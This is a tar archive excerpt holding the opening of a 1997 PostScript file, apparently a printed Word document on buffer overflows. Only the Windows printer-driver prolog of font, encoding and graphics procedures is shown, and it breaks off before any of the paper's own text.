buffer-overflows/ 40755 0 0 0 6405660551 12344 5ustar rootrootbuffer-overflows/nate-buffer.ps100644 0 0 2512510 6347415721 15273 0ustar rootroot%!PS-Adobe-3.0 %%Title: Microsoft Word - buffer.doc %%Creator: PSCRIPT.DRV Version 4.0 %%CreationDate: 06/07/97 13:58:37 %%BoundingBox: 13 13 599 780 %%Pages: (atend) %%PageOrder: Ascending %%Requirements: %%DocumentNeededFonts: (atend) %%DocumentSuppliedFonts: (atend) %%DocumentData: Clean7Bit %%LanguageLevel: 2 %%EndComments %%BeginProlog %%BeginProcSet: Pscript_Win_ErrorHandler 1.0 1 /currentpacking where{pop/oldpack currentpacking def/setpacking where{pop false setpacking}if}if/$brkpage 64 dict def $brkpage begin/prnt{dup type /stringtype ne{=string cvs}if dup length 6 mul/tx exch def/ty 10 def currentpoint/toy exch def/tox exch def 1 setgray newpath tox toy 2 sub moveto 0 ty rlineto tx 0 rlineto 0 ty neg rlineto closepath fill tox toy moveto 0 setgray show}bind def/nl{currentpoint exch pop lmargin exch moveto 0 -10 rmoveto}def/=={/cp 0 def typeprint nl}def/typeprint{dup type exec}readonly def /lmargin 72 def/rmargin 72 def/tprint{dup length cp add rmargin gt{nl/cp 0 def }if dup length cp add/cp exch def prnt}readonly def/cvsprint{=string cvs tprint( )tprint}readonly def/integertype{cvsprint}readonly def/realtype{ cvsprint}readonly def/booleantype{cvsprint}readonly def/operatortype{(--) tprint =string cvs tprint(-- )tprint}readonly def/marktype{pop(-mark- )tprint} readonly def/dicttype{pop(-dictionary- )tprint}readonly def/nulltype{pop (-null- )tprint}readonly def/filetype{pop(-filestream- )tprint}readonly def /savetype{pop(-savelevel- )tprint}readonly def/fonttype{pop(-fontid- )tprint} readonly def/nametype{dup xcheck not{(/)tprint}if cvsprint}readonly def /stringtype{dup rcheck{(\()tprint tprint(\))tprint}{pop(-string- )tprint} ifelse}readonly def/arraytype{dup rcheck{dup xcheck{({)tprint{typeprint}forall (})tprint}{([)tprint{typeprint}forall(])tprint}ifelse}{pop(-array- )tprint} ifelse}readonly def/packedarraytype{dup rcheck{dup xcheck{({)tprint{typeprint} forall(})tprint}{([)tprint{typeprint}forall(])tprint}ifelse}{pop (-packedarray- )tprint}ifelse}readonly def/courier/Courier findfont 10 scalefont def end errordict/handleerror{systemdict begin $error begin $brkpage begin newerror{/newerror false store vmstatus pop pop 0 ne{grestoreall}if showpage initgraphics courier setfont lmargin 720 moveto(ERROR: )prnt errorname prnt nl(OFFENDING COMMAND: )prnt/command load prnt $error/ostack known{nl nl(STACK:)prnt nl nl $error/ostack get aload length{==}repeat}if systemdict/showpage get exec(%%[ Error: )print errorname =print (; OffendingCommand: )print/command load =print( ]%%)= flush}if end end end} dup 0 systemdict put dup 4 $brkpage put bind readonly put/currentpacking where {pop/setpacking where{pop oldpack setpacking}if}if %%EndProcSet %%BeginProcSet: Pscript_Res_Emul 1.0 0 /defineresource where{pop}{userdict begin/defineresource{userdict/Resources 2 copy known{get begin}{15 dict dup begin put}ifelse exch readonly exch currentdict 1 index known not{dup 30 dict def}if load 3 -1 roll 2 index put end}bind readonly def/findresource{userdict/Resources get exch get exch get} bind readonly def/resourceforall{pop pop pop pop}bind readonly def /resourcestatus{userdict/Resources 2 copy known{get exch 2 copy known{get exch known{0 -1 true}{pop pop false}ifelse}{pop pop pop false}ifelse}{pop pop false }ifelse}bind readonly def end}ifelse %%EndProcSet %%BeginResource: procset Pscript_Win_Driver 2.0 0 /Pscript_Win_Driver 200 dict dup begin %%BeginResource: file Pscript_FatalError 2.0 0 /FatalErrorIf{{initgraphics findfont exch scalefont setfont counttomark 3 div cvi{moveto show}repeat showpage quit}{cleartomark}ifelse}bind def %%EndResource /VM? {vmstatus exch sub exch pop gt { [ (This job requires more memory than is available in this printer.) 100 500 (Try one or more of the following, and then print again:) 100 485 (In the PostScript dialog box, click Optimize For Portability.) 115 470 (In the Device Options dialog box, make sure the Available Printer Memory is accurate.) 115 455 (Reduce the number of fonts in the document.) 115 440 (Print the document in parts.) 115 425 12 /Times-Roman showpage (%%[ PrinterError: Low Printer VM ]%%) = true FatalErrorIf}if} bind def 30000 VM? %%BeginResource: file Pscript_Win_Utils 2.0 0 /|/def load def/,/load load |/~/exch , |/?/ifelse , |/!/pop , |/`/begin , |/^ /index , |/@/dup , |/+/translate , |/$/roll , |/U/userdict , |/M/moveto , |/- /rlineto , |/&/currentdict , |/:/gsave , |/;/grestore , |/F/false , |/T/true , |/N/newpath , |/E/end , |/Ac/arc , |/An/arcn , |/A/ashow , |/D/awidthshow , | /C/closepath , |/V/div , |/O/eofill , |/L/fill , |/I/lineto , |/-C/rcurveto , |/-M/rmoveto , |/+S/scale , |/Ji/setfont , |/Lc/setlinecap , |/Lj/setlinejoin , |/Lw/setlinewidth , |/S/show , |/LH/showpage , |/K/stroke , |/W/widthshow , |/R/rotate , |/b{bind |}bind |/bd{bind |}bind |/xd{~ |}bd/ld{, |}bd/lw/Lw ld /lc/Lc ld/lj/Lj ld/sg/setgray ld/L2? F/languagelevel where{! languagelevel 2 ge{! T}if}if |/g{@ not{U/DefIf_save save put}if U/DefIf_bool 2 ^ put}b /DefIf_El{if U/DefIf_bool get not @{U/DefIf_save get restore}if}b/e{DefIf_El ! }b/self & |/reinitialize{[/TextInit/GraphInit/UtilsInit counttomark{@ where{ self eq}{F}?{cvx exec}{!}?}repeat cleartomark}b/initialize{`{/ADO_mxRot ~ | /TextInitialised? F | reinitialize E}{U/Pscript_Win_Data 200 dict @ ` put /ADO_mxRot ~ |/TextInitialised? F | reinitialize}?}b/terminate{!{& self eq{ exit}{E}?}loop E}b/suspend/terminate , |/resume{` Pscript_Win_Data `}b/snap{ transform 0.25 sub round 0.25 add ~ 0.25 sub round 0.25 add ~ itransform}b /dsnap{dtransform round ~ round ~ idtransform}b<04>cvn{}|/setjn{{statusdict /jobname known{statusdict/jobname 3 -1 $ put}if}stopped cleartomark}b/solid{[] 0 setdash}b/setdsh{0 setdash}b/colspRefresh{}b/rp{4 2 $ M 1 ^ 0 - 0 ~ - neg 0 -}b/rr{1 ^ 0 - 0 ~ - neg 0 - C}b %%EndResource userdict /Level2ImagesError [ (This job contains a bitmapped image that can be printed only on) 100 500 (PostScript(R) Level 2 printers. Please send this file to a PostScript) 100 485 (Level 2 printer, or print your document again with the correct printer) 100 470 (selected.) 100 455 12 /Times-Roman ] put %%BeginResource: file Pscript_Win_Utils_L1 2.0 0 L2? not g{/rf{N rp L}b/fx{1 1 dtransform @ 0 ge{1 sub 1}{1 add -0.25}? 3 -1 $ @ 0 ge{1 sub 1}{1 add -0.25}? 3 1 $ 4 1 $ idtransform 4 -2 $ idtransform}b/BZ{ 4 -2 $ snap + +S fx rf}b/rs{N rp C K}b/rc{N rp clip N}b/sg{setgray}b/sco{ setrgbcolor}b/sgco{{sg}{sco}?}b}e %%EndResource %%BeginResource: file Pscript_Win_Utils_L2 2.0 0 L2? g{/colspA/DeviceGray |/colspABC/DeviceRGB |/setAorABC{{colspA}{colspABC}? setcolorspace}b/rf/rectfill , |/fx{1 1 dtransform @ 0 ge{1 sub 0.5}{1 add -0.5 }? 3 -1 $ @ 0 ge{1 sub 0.5}{1 add -0.5}? 3 1 $ 4 1 $ idtransform 4 -2 $ idtransform}b/BZ{4 -2 $ snap + +S fx rf}b/rs/rectstroke , |/rc/rectclip , |/sg {@ @ setcolor}b/sco{setcolor}b/colspRefresh{colspABC setcolorspace}b/sgco{{sg }{sco}?}b/UtilsInit{F setglobal}b/definecolorrendering{/ColorRendering defineresource !}b/findcolorrendering{@/ColorRendering resourcestatus{! ! /ColorRendering findresource T}{! F}?}b/selectcolorrendering{@/ColorRendering resourcestatus{! !/ColorRendering}{!/DefaultColorRendering/ColorRendering}? findresource setcolorrendering}b}e %%EndResource %%BeginResource: file Pscript_Win_Encoding 2.0 0 /bullets{{/bullet}repeat}b/ANSIEncoding[/grave/acute/circumflex/tilde/macron /breve/dotaccent/dieresis/ring/cedilla/hungarumlaut/ogonek/caron/dotlessi 18 bullets StandardEncoding 32 95 getinterval aload ! 3 bullets/quotesinglbase /florin/quotedblbase/ellipsis/dagger/daggerdbl/circumflex/perthousand/Scaron /guilsinglleft/OE 4 bullets/quoteleft/quoteright/quotedblleft/quotedblright /bullet/endash/emdash/tilde/trademark/scaron/guilsinglright/oe 2 bullets /Ydieresis/space/exclamdown/cent/sterling/currency/yen/brokenbar/section /dieresis/copyright/ordfeminine/guillemotleft/logicalnot/hyphen/registered /macron/degree/plusminus/twosuperior/threesuperior/acute/mu/paragraph /periodcentered/cedilla/onesuperior/ordmasculine/guillemotright/onequarter /onehalf/threequarters/questiondown/Agrave/Aacute/Acircumflex/Atilde/Adieresis /Aring/AE/Ccedilla/Egrave/Eacute/Ecircumflex/Edieresis/Igrave/Iacute /Icircumflex/Idieresis/Eth/Ntilde/Ograve/Oacute/Ocircumflex/Otilde/Odieresis /multiply/Oslash/Ugrave/Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls /agrave/aacute/acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute /ecircumflex/edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve /oacute/ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex /udieresis/yacute/thorn/ydieresis]| ANSIEncoding @ 39/quotesingle put 96/grave put/ANSIEncodingOld ANSIEncoding 256 array copy | ANSIEncodingOld @[138 153 154 169 172 174 177 178 179 181 185 188 189 190 208 215 221 222 240 247 253 254]{/bullet put @}forall 166/bar put 176/ring put %%EndResource %%BeginResource: file Pscript_Win_Text 2.0 0 /TextInit{TextInitialised? not{/Pscript_Windows_Font & |/TextInitialised? T | /fM[1 0 0 -1 0 0]|/mFM matrix |/iMat[1 0 0.212557 neg 1 0 0]|}if}b/xUP null | /yUP null |/uW null |/xSP null |/ySP null |/sW null |/copyfont{1 ^ length add dict `{1 ^/FID ne{|}{! !}?}forall & E}b/rF{3 copyfont @ `/Encoding ANSIEncoding &/CharStrings known{CharStrings/Eth known not{! ANSIEncodingOld} if}if | E}b/mF{findfont ~{@/Encoding get @ StandardEncoding eq{! T}{{ ISOLatin1Encoding}stopped{! F}{eq}?{T}{@ ` T 32 1 127{Encoding 1 ^ get StandardEncoding 3 -1 $ get eq and}for E}?}?}{F}?{rF}{3 copyfont}? ` /OrigFontType ~ |/OrigFontName ~ | & E 2 ^ ~ definefont fM 5 4 -1 $ put fM 4 0 put fM makefont Pscript_Windows_Font 3 1 $ put}b/xF{scalefont Pscript_Windows_Font 3 1 $ put}b/xMF{mFM astore makefont Pscript_Windows_Font 3 1 $ put}b/xF2/scalefont , |/xMF2{mFM astore makefont}b/sLT{: Lw -M currentpoint snap M 0 - 0 Lc K ;}b/sSU{N/uW ~ |/yUP ~ |/xUP ~ |}b/sU{xUP yUP uW sLT}b/sST{N/sW ~ |/ySP ~ |/xSP ~ |}b/sT{xSP ySP sW sLT}b/sR{: + R 0 0 M}b /sRxy{: matrix astore concat 0 0 M}b/eR/; , | %%EndResource %%BeginResource: file Pscript_Win_Text_Bold 2.0 0 /mBF{@ 4 copyfont `/FontName ~ |/OrigFontType ~ |/OrigFontName ~ | 0 FontMatrix idtransform ! &/PaintType known{PaintType 0 eq{/PaintType 2 | /StrokeWidth ~ |}{PaintType 1 eq PaintType 2 eq or PaintType 3 eq or & /StrokeWidth known and{StrokeWidth add/StrokeWidth ~ |}{!}?}?}{!}? @ & E definefont Pscript_Windows_Font 3 1 $ put}b/xBF{Pscript_Windows_Font ` 1 ^ /FontName get 1 ^ scalefont 3 1 $ scalefont 2 copy ~ | ~ ! | E}b/xMBF{mFM astore Pscript_Windows_Font ` 1 ^/FontName get 1 ^ makefont 3 1 $ makefont 2 copy ~ | ~ ! | E}b/xBF2{/sB0 ~ mBF/sB1 sB0 3 -1 $ xBF sB1}b/xMBF2{/sB0 ~ mBF mFM astore/sB1 sB0 3 -1 $ xMBF sB1}b/sB{: Pscript_Windows_Font currentfont get Ji @ S ; S}b/asB{: Pscript_Windows_Font currentfont get Ji 3 copy A ; A}b/wsB{ : Pscript_Windows_Font currentfont get Ji 4 copy W ; W}b/awsB{: Pscript_Windows_Font currentfont get Ji 6 copy D ; D}b/sBT3{: @ S ; 1 1 -M S}b /asBT3{: 3 copy A ; 1 1 -M A}b/wsBT3{: 4 copy W ; 1 1 -M W}b/awsBT3{: 6 copy D ; 1 1 -M D}b/mIF{iMat 4 3 -1 $ put 2 copyfont `/OrigFontType ~ |/OrigFontName ~ | @ & E definefont iMat makefont Pscript_Windows_Font 3 1 $ put}b %%EndResource %%BeginResource: file Pscript_Win_Graphics 2.0 0 /SavedCTM null |/CTMsave{/SavedCTM SavedCTM currentmatrix |}b/CTMrestore{ SavedCTM setmatrix}b/mp null |/ADO_mxRot null |/GDIHMatrix null | /GDIHPatternDict 22 dict | GDIHPatternDict `/PatternType 1 |/PaintType 2 | /Reps L2?{1}{5}? |/XStep 8 Reps mul |/YStep XStep |/BBox[0 0 XStep YStep]| /TilingType 1 |/PaintProc{` 1 Lw[]0 setdash PaintData , exec E}b/FGnd null | /BGnd null |/HS_Horizontal{horiz}b/HS_Vertical{vert}b/HS_FDiagonal{fdiag}b /HS_BDiagonal{biag}b/HS_Cross{horiz vert}b/HS_DiagCross{fdiag biag}b/MaxXYStep XStep YStep gt{XStep}{YStep}? |/horiz{Reps{0 4 M XStep 0 - 0 8 +}repeat 0 -8 Reps mul + K}b/vert{Reps{4 0 M 0 YStep - 8 0 +}repeat 0 -8 Reps mul + K}b/biag {Reps{0 0 M MaxXYStep @ - 0 YStep neg M MaxXYStep @ - 0 8 +}repeat 0 -8 Reps mul + 0 YStep M 8 8 - K}b/fdiag{Reps{0 0 M MaxXYStep @ neg - 0 YStep M MaxXYStep @ neg - 0 8 +}repeat 0 -8 Reps mul + MaxXYStep @ M 8 -8 - K}b E /makehatch{GDIHPatternDict/PaintData 3 -1 $ put CTMsave GDIHMatrix setmatrix GDIHPatternDict matrix mp CTMrestore ~ U ~ 2 ^ put}b/h0{/h0/HS_Horizontal makehatch}b/h1{/h1/HS_Vertical makehatch}b/h2{/h2/HS_FDiagonal makehatch}b/h3{ /h3/HS_BDiagonal makehatch}b/h4{/h4/HS_Cross makehatch}b/h5{/h5/HS_DiagCross makehatch}b/GDIBWPatternDict 17 dict @ `/PatternType 1 |/PaintType L2?{1}{2}? |/RepsV L2?{1}{6}? |/RepsH L2?{1}{5}? |/BBox[0 0 RepsH 1]|/TilingType 1 | /XStep 1 |/YStep 1 |/Height 8 RepsV mul |/Width 8 |/mx[Width 0 0 Height neg 0 Height]|/FGnd null |/BGnd null |/SetBGndFGnd L2?{{BGnd null ne{BGnd aload ! sgco BBox aload ! 2 ^ sub ~ 3 ^ sub ~ rf}if FGnd null ne{FGnd aload ! sgco}if} }{{}}? b/PaintProc{` SetBGndFGnd RepsH{Width Height F mx PaintData imagemask Width 0 +}repeat E}b E |/GDIBWPatternMx null |/pfprep{save 4 1 $ /PatternOfTheDay 4 1 $ GDIBWPatternDict `/PaintData ~ |/BGnd ~ |/FGnd ~ | E CTMsave GDIBWPatternMx setmatrix GDIBWPatternDict matrix mp CTMrestore ~ !}b /hrf null |/prf{pfprep ~ 6 1 $ 5 hrf restore}b/GraphInit{GDIHMatrix null eq{ /SavedCTM matrix | : ADO_mxRot concat 0 0 snap + : 0.48 @ GDIHPatternDict ` YStep mul ~ XStep mul ~ dsnap YStep V ~ XStep V ~ E +S/GDIHMatrix matrix currentmatrix readonly | ; : 0.24 -0.24 +S GDIBWPatternDict ` Width Height E dsnap +S/GDIBWPatternMx matrix currentmatrix readonly | ; ;}if}b/cirp{360 0 An C}b/ellp{CTMsave + +S 0.5 0 M 0 0 0.5 360 0 An C CTMrestore}b/rrp{/rad ~ |/y2 ~ |/x2 ~ |/y1 ~ |/x1 ~ | x2 x1 add 2 V y1 M x1 y1 x1 y2 rad arct x1 y2 x2 y2 rad arct x2 y2 x2 y1 rad arct x2 y1 x1 y1 rad arct C}b/RRp{CTMsave + +S/dyS ~ |/dxS ~ | dxS 2 V 0 M 0 0 0 dyS 0.5 arct 0 dyS dxS dyS 0.5 arct dxS dyS dxS 0 0.5 arct dxS 0 0 0 0.5 arct C CTMrestore}b %%EndResource %%BeginResource: file Pscript_Win_Graphics_L1 2.0 0 L2? not g{/arct{arcto ! ! ! !}b/GDIpattfill{@ ` BGnd null ne PaintType 2 eq and{: BGnd aload ! sgco fEOFill{O}{L}? ; FGnd aload ! U/fGray 2 ^ put{2}{4}? -1 $}if E @ patterncalc : 4 ^/PaintType get 2 eq{fGray{6 -1 $ sg}{8 -3 $ sco}? }if fEOFill{eoclip}{clip}? N patternfill ; N}b/hrf{/fGray 1 ^ 6 eq | -4 $ N rp C/fEOFill F | GDIpattfill}b/hfMain{/fEOFill ~ |/fGray ~ | GDIpattfill}b/hf{T hfMain}b/hfW{F hfMain}b/hs{currentpoint strokepath M hfW}b/pfMain{/fEOFill ~ | pfprep GDIpattfill restore N}b/pf{T pfMain}b/pfW{F pfMain}b/ps{currentpoint strokepath M pfW}b/mpstr 1 string |/mp{~ @ length 12 add dict copy ` /PatternCTM matrix currentmatrix |/PatternMatrix ~ |/PatWidth XStep mpstr length mul |/PatHeight YStep |/FontType 3 |/Encoding 256 array | 3 string 0 1 255{Encoding ~ @ 3 ^ cvs cvn put}for !/FontMatrix matrix |/FontBBox BBox | /BuildChar{! @ ` XStep 0 FontBBox aload ! setcachedevice/PaintProc , E : exec ;}b & E ~ @ 3 -1 $ definefont}b/patterncalc{` : PatternCTM setmatrix PatternMatrix concat BBox aload ! ! ! + pathbbox ; PatHeight V ceiling 4 1 $ PatWidth V ceiling 4 1 $ PatHeight V floor 4 1 $ PatWidth V floor 4 1 $ 2 ^ sub cvi abs ~ 3 ^ sub cvi abs ~ 4 2 $ PatHeight mul ~ PatWidth mul ~ E}b /patternfill{5 -1 $ @ ` Ji PatternCTM setmatrix PatternMatrix concat 0 2 ^ 2 ^ M 0 1 mpstr length 1 sub{1 ^ mpstr 3 1 $ put}for ! 2 ^{currentpoint 5 ^{mpstr S}repeat YStep add M}repeat ! ! ! ! E}b}e %%EndResource %%BeginResource: file Pscript_Win_Graphics_L2 2.0 0 L2? g{/mp/makepattern , |/hrf{6 eq setAorABC setpattern rectfill}b/hf{ setAorABC setpattern O}b/hfW{setAorABC setpattern L}b/hs{setAorABC setpattern K}b/pf{pfprep setpattern O restore N}b/pfW{pfprep setpattern L restore N}b/ps{ pfprep setpattern K restore N}b}e %%EndResource %%BeginResource: file Pscript_Win_BW_Images 2.0 0 /iw 0 |/ih 0 |/im_save 0 |/s 0 |/polarity 0 |/smoothflag 0 |/mystring 0 |/bpc 0 |/setup1asciiproc{[currentfile mystring/readhexstring cvx/! cvx]cvx bind}b /setup1binaryproc{[currentfile mystring/readstring cvx/! cvx]cvx bind}b /setup2asciiproc{currentfile/ASCII85Decode filter/RunLengthDecode filter}b /setup2binaryproc{currentfile/RunLengthDecode filter}b/mycolorspace{colspABC}| /myimagedict{/myimagedict 10 dict | myimagedict @ `/ImageType 1 | /MultipleDataSource F | E}b/imageprocarray[/setup1binaryproc/setup1asciiproc /setup2binaryproc/setup2asciiproc/setup1binarydecodeproc/setup1asciidecodeproc ]|/L2Polarity{{[1 0]}{[0 1]}?}b/Q{/im_save save | imageprocarray ~ get/s ~ , | L2Polarity/polarity ~ |/smoothflag ~ | snap +/dx 2 ^ |/dy 1 ^ | +S/mystring ~ string |/bpc ~ |/ih ~ |/iw ~ |}b/X{/im_save save | imageprocarray ~ get/s ~ , | L2Polarity/polarity ~ |/smoothflag ~ | snap +/dx 2 ^ |/dy 1 ^ | +S/mystring ~ string |/bpc ~ |/ih ~ |/iw ~ |}b/Z{im_save restore}b/Y{sgco myimagedict @ ` /Width iw |/Height ih |/Decode polarity |/ImageMatrix[iw 0 0 ih 0 0]| /DataSource s |/BitsPerComponent 1 |/Interpolate smoothflag | E imagemask}b %%EndResource %%BeginResource: file Pscript_Win_BW_Images_L1 2.0 0 L2? not g{/setup2asciiproc{[/Level2ImagesError , aload ! T FatalErrorIf}b /setup2binaryproc/setup2asciiproc , |/L2Polarity{}|/Y{sgco iw ih polarity[iw 0 0 ih 0 0]s imagemask}b}e %%EndResource %%BeginResource: file Pscript_Win_Co_Images_L1 2.0 0 L2? not g{/testsystemdict{where{systemdict eq{T}{F}?}{F}?}b/c 1 |/colorimage where{! T}{F}?{/c 0 statusdict `/processcolors where{! ! processcolors}{ /deviceinfo where{! deviceinfo/Colors known{!{deviceinfo/Colors get}}if}if}? E | c 0 ne{/colorimage testsystemdict/setcolortransfer testsystemdict /currentcolortransfer testsystemdict/currentcmykcolor testsystemdict and and and not{/c 0 |}if}if}if c @ 1 ne ~ @ 3 ne ~ 4 ne and and{/c 0 |}if c 1 eq g{ /expandbw{expandfactor mul round cvi bwclut ~ get 255 V}b/doclutimage{!/bwclut ~ | bpc @ 8 eq{! 255}{4 eq{15}{3}?}?/expandfactor ~ |[/expandbw ,/exec , @ currenttransfer ~]cvx bind settransfer iw ih bpc[iw 0 0 ih 0 0]s image}b}e c @ 3 eq ~ 4 eq or g{/nullproc{{}}|/concatutil{/exec , 7 -1 $/exec ,}b/defsubclut{ 1 add getinterval |}b/spconcattransfer{/Dclut ~ |/Cclut ~ |/Bclut ~ |/Aclut ~ |/ncompute ~ , | currentcolortransfer[{Aclut ncompute}concatutil]cvx[{Bclut ncompute}concatutil]cvx[{Cclut ncompute}concatutil]cvx[{Dclut ncompute} concatutil]cvx setcolortransfer}b/setuprgbcluts{/bit3x rgbclut length 3 sub | /bit1x bit3x 3 idiv |/rclut rgbclut |/gclut rclut 1 bit3x defsubclut/bclut rclut 2 bit3x defsubclut}b}e c 3 eq g{/3compute{~ bit3x mul round cvi get 255 V}b/doclutimage{/rgbclut ~ | ! setuprgbcluts/3compute rclut gclut bclut @ spconcattransfer iw ih bpc[iw 0 0 ih 0 0][s/exec ,/@ , @]cvx nullproc nullproc T 3 colorimage}b}e c 4 eq g{/ftoint{1 ~ sub 255 mul round cvi}b/stuffclut{ cmykindex 3 -1 $ put}b/4compute{~ bit4x mul round cvi get 255 V}b /invalidcolortable? T |/computecmykclut{setuprgbcluts/bit4x rgbclut length 3 idiv 4 mul 4 sub |/cmykclut bit4x 4 add string |/cclut cmykclut |/mclut cclut 1 bit4x defsubclut/yclut cclut 2 bit4x defsubclut/kclut cclut 3 bit4x defsubclut/cmykindex 0 | 0 1 bit1x{@/cmykindex ~ bit1x ~ sub 4 mul | 3 mul @ rclut ~ get 255 V ~ @ gclut ~ get 255 V ~ bclut ~ get 255 V setrgbcolor currentcmykcolor ftoint kclut stuffclut ftoint yclut stuffclut ftoint mclut stuffclut ftoint cclut stuffclut}for}b/doclutimage{/rgbclut ~ | ! invalidcolortable?{computecmykclut}if/4compute cclut mclut yclut kclut spconcattransfer iw ih bpc[iw 0 0 ih 0 0][s/exec ,/@ , @ @]cvx nullproc nullproc nullproc T 4 colorimage}b}e c 0 eq g{/a{3 mul 3 getinterval putinterval ~ 3 add ~ 3 copy}b/8lookup/a , |/4lookup{/byte 1 ^ | -4 bitshift a byte 15 and a}b/2lookup{/byte 1 ^ | -6 bitshift a byte -4 bitshift 3 and a byte -2 bitshift 3 and a byte 3 and a}b/colorexpand{mystringexp 0 rgbclut 3 copy 7 -1 $/mylookup , forall ! ! ! ! !}b/createexpandstr{/mystringexp ~ mystring length mul string |}b/doclutimage{/rgbclut ~ | !/mylookup bpc 8 eq{3 createexpandstr/8lookup}{bpc 4 eq{6 createexpandstr/4lookup}{12 createexpandstr/2lookup}?}? , | iw ih bpc[iw 0 0 ih 0 0][s/exec ,/colorexpand ,/exec ,]cvx F 3 colorimage}b}e/colorimage where{! T}{F}? g{/do24image{iw ih 8 [iw 0 0 ih 0 0]s F 3 colorimage}b}DefIf_El{/rgbtogray{/str ~ |/len str length |/smlen len 3 idiv |/rstr str |/gstr str 1 len 1 sub getinterval |/bstr str 2 len 2 sub getinterval | str @ 0 1 smlen 1 sub{@ 3 mul rstr 1 ^ get 0.3 mul gstr 2 ^ get 0.59 mul add bstr 3 -1 $ get 0.11 mul add round cvi put @}for ! 0 smlen getinterval}b/do24image{iw ih 8[iw 0 0 ih 0 0][s/exec ,/rgbtogray ,/exec ,]cvx bind image}b}e/doNimage{bpc 24 eq{do24image}{iw ih bpc[iw 0 0 ih 0 0]s image}?}b}e %%EndResource %%BeginResource: file Pscript_Win_Co_Images_L2 2.0 0 L2? g{/doclutimage{/rgbclut ~ | ! bpc @ 8 eq{! 255}{4 eq{15}{3}?}?/hival ~ |[ /Indexed colspABC hival rgbclut]setcolorspace myimagedict @ `/Width iw | /Height ih |/Decode[0 hival]|/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s | /BitsPerComponent bpc |/Interpolate smoothflag | E image}b/doCMYKclutimage{ /CMYKclut ~ | ! bpc @ 8 eq{! 255}{4 eq{15}{3}?}?/hival ~ |[/Indexed/DeviceCMYK hival CMYKclut]setcolorspace myimagedict @ `/Width iw |/Height ih |/Decode[0 hival]|/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s |/BitsPerComponent bpc | /Interpolate smoothflag | E image}b/doNimage{bpc 24 eq{colspABC}{colspA}? setcolorspace myimagedict @ `/Width iw |/Height ih |/Decode bpc 24 eq{[0 1 0 1 0 1]}{[0 1]}? |/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s |/BitsPerComponent bpc 24 eq{8}{bpc}? |/Interpolate smoothflag | E image}b/doCMYKimage{ /DeviceCMYK setcolorspace myimagedict @ `/Width iw |/Height ih |/Decode[0 1 0 1 0 1 0 1]|/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s |/BitsPerComponent 8 | /Interpolate smoothflag | E image}b}e %%EndResource %%BeginResource: file Pscript_Win_Type3_Hdr 2.0 0 /GreNewFont{10 dict @ 3 1 $ | @ ` 4 1 $/FontType 3 |/FontMatrix ~ |/FontBBox ~ |/Encoding 256 array | 0 1 255{Encoding ~/.notdef put}for/CharProcs 257 dict | CharProcs/.notdef{}put/Metrics 257 dict | Metrics/.notdef 3 -1 $ put/BuildChar {/char ~ |/fontdict ~ |/charname fontdict/Encoding get char get | fontdict /Metrics get charname get aload ! setcachedevice fontdict ` Encoding char get CharProcs ~ get E exec}| E definefont !}|/AddChar{` Encoding 3 1 $ put CharProcs 3 1 $ put Metrics 3 1 $ put E}| %%EndResource %%BeginResource: file Pscript_Win_Type1_Hdr 2.0 0 /FEbuf 2 string |/FEglyph 3 string |/FE{(G00)FEglyph copy ! 1 ~{@ 16 lt{ /offset 2 store}{/offset 1 store}? @ 16 FEbuf cvrs FEglyph ~ offset ~ putinterval 1 ^ ~ FEglyph cvn put}for}bind |/Type1Hdr{11 dict `/FontName ~ | /PaintType ~ |/FontType 1 |/FontMatrix[1 3 ^ V 0 0 1 6 ^ V 0 0]| !/Encoding 256 array 0 1 255{1 ^ ~/.notdef put}for 3 ^ 3 ^ FE | ! !/FontBBox{0 0 0 0}| & E currentfile eexec}bind | %%EndResource /pp 1 string |/ss 1 string |/rledecodebinary{/DC 0 |/BC 0 |{DC mystring length ge{exit}if currentfile ss readstring ! 0 get/BC ~ | BC 127 le{/BC BC 1 add | DC 1 DC BC add 1 sub{mystring ~ currentfile ss readstring ! 0 get put}for}{/BC 257 BC sub | currentfile ss readstring ! 0 get/pp ~ | DC 1 DC BC add 1 sub{ mystring ~ pp put}for}?/DC DC BC add |}loop mystring}b/rledecodeascii{/DC 0 | /BC 0 |{DC mystring length ge{exit}if currentfile ss readhexstring ! 0 get/BC ~ | BC 127 le{/BC BC 1 add | DC 1 DC BC add 1 sub{mystring ~ currentfile ss readhexstring ! 0 get put}for}{/BC 257 BC sub | currentfile ss readhexstring ! 0 get/pp ~ | DC 1 DC BC add 1 sub{mystring ~ pp put}for}?/DC DC BC add |}loop mystring}b/setup1asciidecodeproc{[/rledecodeascii cvx]cvx bind}b /setup1binarydecodeproc{[/rledecodebinary cvx]cvx bind}b %%BeginResource: file Pscript_Win_Compat 2.0 0 userdict/Pscript_Win_Compat 13 dict dup begin/bd{bind def}bind def/ld{load def }bd/CB{pop pop pop pop}bind def/B{pop pop pop pop}bind def/$x matrix def/SS{ /pagesave save def}bind def/RS{/pagesave where{pop pagesave restore}{$x matrix invertmatrix concat}ifelse}bind def/ANSIVec[0/grave 1/acute 2/circumflex 3 /tilde 4/macron 5/breve 6/dotaccent 7/dieresis 8/ring 9/cedilla 10 /hungarumlaut 11/ogonek 12/caron 13/dotlessi 39/quotesingle 96/grave 124/bar 130/quotesinglbase 131/florin 132/quotedblbase 133/ellipsis 134/dagger 135 /daggerdbl 136/circumflex 137/perthousand 138/Scaron 139/guilsinglleft 140/OE 145/quoteleft 146/quoteright 147/quotedblleft 148/quotedblright 149/bullet 150 /endash 151/emdash 152/tilde 153/trademark 154/scaron 155/guilsinglright 156 /oe 159/Ydieresis 160/space 161/exclamdown 164/currency 165/yen 166/brokenbar 167/section 168/dieresis 169/copyright 170/ordfeminine 171/guillemotleft 172 /logicalnot 173/hyphen 174/registered 175/macron 176/degree 177/plusminus 178 /twosuperior 179/threesuperior 180/acute 181/mu 182/paragraph 183 /periodcentered 184/cedilla 185/onesuperior 186/ordmasculine 187 /guillemotright 188/onequarter 189/onehalf 190/threequarters 191/questiondown 192/Agrave 193/Aacute 194/Acircumflex 195/Atilde 196/Adieresis 197/Aring 198 /AE 199/Ccedilla 200/Egrave 201/Eacute 202/Ecircumflex 203/Edieresis 204 /Igrave 205/Iacute 206/Icircumflex 207/Idieresis 208/Eth 209/Ntilde 210/Ograve 211/Oacute 212/Ocircumflex 